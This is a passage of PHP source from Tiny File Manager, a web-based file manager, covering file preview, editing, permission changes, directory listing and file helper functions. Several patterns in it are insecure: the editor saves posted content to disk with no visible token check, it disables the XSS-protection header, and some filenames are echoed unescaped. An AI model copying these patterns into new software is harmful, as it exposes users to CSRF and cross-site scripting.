                    echo '<code
class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' .
fm_enc($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' .
fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while
fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg',
'jpeg', 'png', 'bmp', 'ico',
'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox"
id="preview-img-zoomCheck"><label
for="preview-img-zoomCheck"><img src="' .
fm_enc($file_url) . '" alt="image"
class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' .
fm_enc($file_url) . '" controls
preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div
class="preview-video"><video src="' .
fm_enc($file_url) . '" width="640"
height="360" controls
preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ?
'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file),
fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file))
{
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre
class="with-hljs"><code class="' . $hljs_class .
'">' . fm_enc($content) .
'</code></pre>';
                } elseif (in_array($ext, array('php',
'php4', 'php5', 'phtml', 'phps')))
{
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fm_enc($content) .
'</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) && !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) ||
!fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file.
'</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ?
'/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) ==
'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar"
role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group
js-ace-toolbar">
                            <button data-cmd="none"
data-option="fullscreen" class="btn btn-sm
btn-outline-secondary" id="js-ace-fullscreen"
title="<?php echo lng('Fullscreen') ?>"><i
class="fa fa-expand" title="<?php echo
lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find"
class="btn btn-sm btn-outline-secondary"
id="js-ace-search" title="<?php echo
lng('Search') ?>"><i class="fa fa-search"
title="<?php echo lng('Search')
?>"></i></button>
                            <button data-cmd="undo"
class="btn btn-sm btn-outline-secondary"
id="js-ace-undo" title="<?php echo lng('Undo')
?>"><i class="fa fa-undo" title="<?php echo
lng('Undo') ?>"></i></button>
                            <button data-cmd="redo"
class="btn btn-sm btn-outline-secondary"
id="js-ace-redo" title="<?php echo lng('Redo')
?>"><i class="fa fa-repeat" title="<?php
echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none"
data-option="wrap" class="btn btn-sm
btn-outline-secondary" id="js-ace-wordWrap"
title="<?php echo lng('Word Wrap') ?>"><i
class="fa fa-text-width" title="<?php echo lng('Word
Wrap') ?>"></i></button>
                            <select id="js-ace-mode"
data-type="mode" title="<?php echo lng('Select
Document Type') ?>" class="btn-outline-secondary
border-start-0 d-none d-md-block"><option>-- <?php echo
lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme"
data-type="theme" title="<?php echo lng('Select
Theme') ?>" class="btn-outline-secondary border-start-0
d-none d-lg-block"><option>-- <?php echo lng('Select
Theme') ?> --</option></select>
                            <select id="js-ace-fontSize"
data-type="fontSize" title="<?php echo lng('Select
Font Size') ?>" class="btn-outline-secondary
border-start-0 d-none d-lg-block"><option>-- <?php echo
lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7
col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back')
?>" class="btn btn-sm btn-outline-primary"
href="?p=<?php echo urlencode(trim(FM_PATH))
?>&amp;view=<?php echo urlencode($file) ?>"><i
class="fa fa-reply-all"></i> <?php echo
lng('Back') ?></a>
                <a title="<?php echo lng('BackUp')
?>" class="btn btn-sm btn-outline-primary"
href="javascript:void(0);" onclick="backup('<?php
echo urlencode(trim(FM_PATH)) ?>','<?php echo
urlencode($file) ?>')"><i class="fa
fa-database"></i> <?php echo lng('BackUp')
?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn
btn-sm btn-outline-primary" href="?p=<?php echo
urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file)
?>&amp;env=ace"><i class="fa
fa-pencil-square-o"></i> <?php echo
lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn
btn-sm btn-success" name="Save" data-url="<?php echo
fm_enc($file_url) ?>"
onclick="edit_save(this,'nrl')"><i class="fa
fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor"
class="btn btn-sm btn-outline-primary" href="?p=<?php
echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo
urlencode($file) ?>"><i class="fa
fa-text-height"></i> <?php echo
lng('NormalEditor') ?></a>
                        <button type="button" class="btn
btn-sm btn-success" name="Save" data-url="<?php echo
fm_enc($file_url) ?>"
onclick="edit_save(this,'ace')"><i class="fa
fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2"
id="normal-editor" rows="33" cols="120"
style="width: 99.5%;">' . htmlspecialchars($content) .
'</textarea>';
            echo
'<script>document.addEventListener("keydown",
function(e) {if ((window.navigator.platform.match("Mac") ?
e.metaKey : e.ctrlKey)  && e.keyCode == 83) {
e.preventDefault();edit_save(this,"nrl");}},
false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor"
contenteditable="true">' . htmlspecialchars($content) .
'</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'),
'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY &&
!FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file)
&& !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' .
FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme();
?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path =
fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>:
<?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p"
value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden"
name="chmod" value="<?php echo fm_enc($file)
?>">

                    <table class="table compact-table <?php echo
fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo
lng('Owner') ?></b></td>
                            <td><b><?php echo
lng('Group') ?></b></td>
                            <td><b><?php echo
lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align:
right"><b><?php echo lng('Read')
?></b></td>
                            <td><label><input
type="checkbox" name="ur" value="1"<?php
echo ($mode & 00400) ? ' checked' : ''
?>></label></td>
                            <td><label><input
type="checkbox" name="gr" value="1"<?php
echo ($mode & 00040) ? ' checked' : ''
?>></label></td>
                            <td><label><input
type="checkbox" name="or" value="1"<?php
echo ($mode & 00004) ? ' checked' : ''
?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align:
right"><b><?php echo lng('Write')
?></b></td>
                            <td><label><input
type="checkbox" name="uw" value="1"<?php
echo ($mode & 00200) ? ' checked' : ''
?>></label></td>
                            <td><label><input
type="checkbox" name="gw" value="1"<?php
echo ($mode & 00020) ? ' checked' : ''
?>></label></td>
                            <td><label><input
type="checkbox" name="ow" value="1"<?php
echo ($mode & 00002) ? ' checked' : ''
?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align:
right"><b><?php echo lng('Execute')
?></b></td>
                            <td><label><input
type="checkbox" name="ux" value="1"<?php
echo ($mode & 00100) ? ' checked' : ''
?>></label></td>
                            <td><label><input
type="checkbox" name="gx" value="1"<?php
echo ($mode & 00010) ? ' checked' : ''
?>></label></td>
                            <td><label><input
type="checkbox" name="ox" value="1"<?php
echo ($mode & 00001) ? ' checked' : ''
?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo
urlencode(FM_PATH) ?>" class="btn
btn-outline-primary"><i class="fa
fa-times-circle"></i> <?php echo lng('Cancel')
?></a></b>&nbsp;
                        <button type="submit" class="btn
btn-success"><i class="fa
fa-check-circle"></i> <?php echo lng('Change')
?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark
table-dark" : "bg-white";
?>
<form action="" method="post"
class="pt-3">
    <input type="hidden" name="p"
value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group"
value="1">
    <input type="hidden" name="token"
value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm
<?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%"
class="custom-checkbox-header">
                        <div class="custom-control
custom-checkbox">
                            <input type="checkbox"
class="custom-control-input" id="js-select-all-items"
onclick="checkbox_toggle()">
                            <label
class="custom-control-label"
for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name')
?></th>
                <th><?php echo lng('Size')
?></th>
                <th><?php echo lng('Modified')
?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng('Perms')
?></th>
                    <th><?php echo lng('Owner')
?></th><?php endif; ?>
                <th><?php echo lng('Actions')
?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php
endif; ?>
                    <td class="border-0" data-sort><a
href="?p=<?php echo urlencode($parent) ?>"><i
class="fa fa-chevron-circle-left go-back"></i>
..</a></td>
                    <td class="border-0"
data-order></td>
                    <td class="border-0"
data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) {
?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa
fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.",
$modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' .
$f)), -4);
                if (function_exists('posix_getpwuid') &&
function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/'
. $f));
                    $group = posix_getgrgid(filegroup($path . '/'
. $f));
                    if ($owner === false) {
                        $owner = array('name' =>
'?');
                    }
                    if ($group === false) {
                        $group = array('name' =>
'?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control
custom-checkbox">
                            <input type="checkbox"
class="custom-control-input" id="<?php echo $ii
?>" name="file[]" value="<?php echo fm_enc($f)
?>">
                            <label
class="custom-control-label" for="<?php echo $ii
?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo
fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename"><a
href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f,
'/')) ?>"><i class="<?php echo $img
?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? '
&rarr; <i>' . readlink($path . '/' . $f) .
'</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo
str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo
$date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a
title="Change Permissions" href="?p=<?php echo
urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f)
?>"><?php echo $perms ?></a><?php else:
?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] .
':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if
(!FM_READONLY): ?>
                            <a title="<?php echo
lng('Delete')?>" href="?p=<?php echo
urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f)
?>" onclick="confirmDailog(event,
'1028','<?php echo lng('Delete').'
'.lng('Folder'); ?>','<?php echo
urlencode($f) ?>', this.href);"> <i class="fa
fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo
lng('Rename')?>" href="#"
onclick="rename('<?php echo fm_enc(addslashes(FM_PATH))
?>', '<?php echo fm_enc(addslashes($f)) ?>');return
false;"><i class="fa fa-pencil-square-o"
aria-hidden="true"></i></a>
                            <a title="<?php echo
lng('CopyTo')?>..." href="?p=&amp;copy=<?php
echo urlencode(trim(FM_PATH . '/' . $f, '/'))
?>"><i class="fa fa-files-o"
aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo
lng('DirectLink')?>" href="<?php echo
fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH :
'') . '/' . $f . '/') ?>"
target="_blank"><i class="fa fa-link"
aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' :
fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.",
$modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) .
'&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' .
$f)), -4);
                if (function_exists('posix_getpwuid') &&
function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/'
. $f));
                    $group = posix_getgrgid(filegroup($path . '/'
. $f));
                    if ($owner === false) {
                        $owner = array('name' =>
'?');
                    }
                    if ($group === false) {
                        $group = array('name' =>
'?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control
custom-checkbox">
                            <input type="checkbox"
class="custom-control-input" id="<?php echo $ik
?>" name="file[]" value="<?php echo fm_enc($f)
?>">
                            <label
class="custom-control-label" for="<?php echo $ik
?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f,
PATHINFO_EXTENSION)), array('gif', 'jpg',
'jpeg', 'png', 'bmp', 'ico',
'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL
. (FM_PATH != '' ? '/' . FM_PATH : '') .
'/' . $f); ?>
                                <a href="<?php echo $filelink
?>" data-preview-image="<?php echo $imagePreview
?>" title="<?php echo fm_enc($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink
?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img
?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr;
<i>' . readlink($path . '/' . $f) .
'</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo
str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);
?>"><span title="<?php printf('%s bytes',
$filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo
$date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a
title="<?php echo 'Change Permissions' ?>"
href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php
echo urlencode($f) ?>"><?php echo $perms
?></a><?php else: ?><?php echo $perms ?><?php
endif; ?>
                        </td>
                        <td><?php echo
fm_enc($owner['name'] . ':' . $group['name'])
?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo
lng('Delete') ?>" href="?p=<?php echo
urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f)
?>" onclick="confirmDailog(event, 1209, '<?php echo
lng('Delete').' '.lng('File');
?>','<?php echo urlencode($f); ?>',
this.href);"> <i class="fa
fa-trash-o"></i></a>
                            <a title="<?php echo
lng('Rename') ?>" href="#"
onclick="rename('<?php echo fm_enc(addslashes(FM_PATH))
?>', '<?php echo fm_enc(addslashes($f)) ?>');return
false;"><i class="fa
fa-pencil-square-o"></i></a>
                            <a title="<?php echo
lng('CopyTo') ?>..."
                               href="?p=<?php echo
urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH
. '/' . $f, '/')) ?>"><i class="fa
fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo
lng('DirectLink') ?>" href="<?php echo
fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH :
'') . '/' . $f) ?>"
target="_blank"><i class="fa
fa-link"></i></a>
                        <a title="<?php echo
lng('Download') ?>" href="?p=<?php echo
urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"
onclick="confirmDailog(event, 1211, '<?php echo
lng('Download'); ?>','<?php echo urlencode($f);
?>', this.href);"><i class="fa
fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN
&& !$hide_Cols) ? '6' : '4'
?>"><em><?php echo lng('Folder is empty')
?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray"
colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ?
(FM_READONLY ? '6' :'7') : (FM_READONLY ? '4'
: '5') ?>">
                            <?php echo lng('FullSize').':
<span class="badge text-bg-light
border-radius-0">'.fm_get_filesize($all_files_size).'</span>'
?>
                            <?php echo lng('File').':
<span class="badge text-bg-light
border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').':
<span class="badge text-bg-light
border-radius-0">'.$num_folders.'</span>'
?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a
href="#/select-all" class="btn btn-small btn-outline-primary
btn-2" onclick="select_all();return false;"><i
class="fa fa-check-square"></i> <?php echo
lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a
href="#/unselect-all" class="btn btn-small
btn-outline-primary btn-2" onclick="unselect_all();return
false;"><i class="fa fa-window-close"></i>
<?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a
href="#/invert-all" class="btn btn-small btn-outline-primary
btn-2" onclick="invert_all();return false;"><i
class="fa fa-th-list"></i> <?php echo
lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input
type="submit" class="hidden" name="delete"
id="a-delete" value="Delete" onclick="return
confirm('<?php echo lng('Delete selected files and
folders?'); ?>')">
                    <a
href="javascript:document.getElementById('a-delete').click();"
class="btn btn-small btn-outline-primary btn-2"><i
class="fa fa-trash"></i> <?php echo
lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input
type="submit" class="hidden" name="zip"
id="a-zip" value="zip" onclick="return
confirm('<?php echo lng('Create archive?');
?>')">
                    <a
href="javascript:document.getElementById('a-zip').click();"
class="btn btn-small btn-outline-primary btn-2"><i
class="fa fa-file-archive-o"></i> <?php echo
lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input
type="submit" class="hidden" name="tar"
id="a-tar" value="tar" onclick="return
confirm('<?php echo lng('Create archive?');
?>')">
                    <a
href="javascript:document.getElementById('a-tar').click();"
class="btn btn-small btn-outline-primary btn-2"><i
class="fa fa-file-archive-o"></i> <?php echo
lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input
type="submit" class="hidden" name="copy"
id="a-copy" value="Copy">
                    <a
href="javascript:document.getElementById('a-copy').click();"
class="btn btn-small btn-outline-primary btn-2"><i
class="fa fa-files-o"></i> <?php echo
lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a
href="https://tinyfilemanager.github.io"
target="_blank" class="float-right text-muted">Tiny
File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a
href="https://tinyfilemanager.github.io"
target="_blank" class="float-right text-muted">Tiny
File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' .
key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after certified
 * @param string $token
 * @return bool
 */
function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file !=
'..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file !=
'..') {
                    if (!fm_rchmod($path . '/' . $file,
$filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',',
FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old,
$new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file !=
'..') {
                    if (!fm_rcopy($path . '/' . $file, $dest .
'/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'),
'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in
DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'),
DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path),
'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'),
'', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' =>
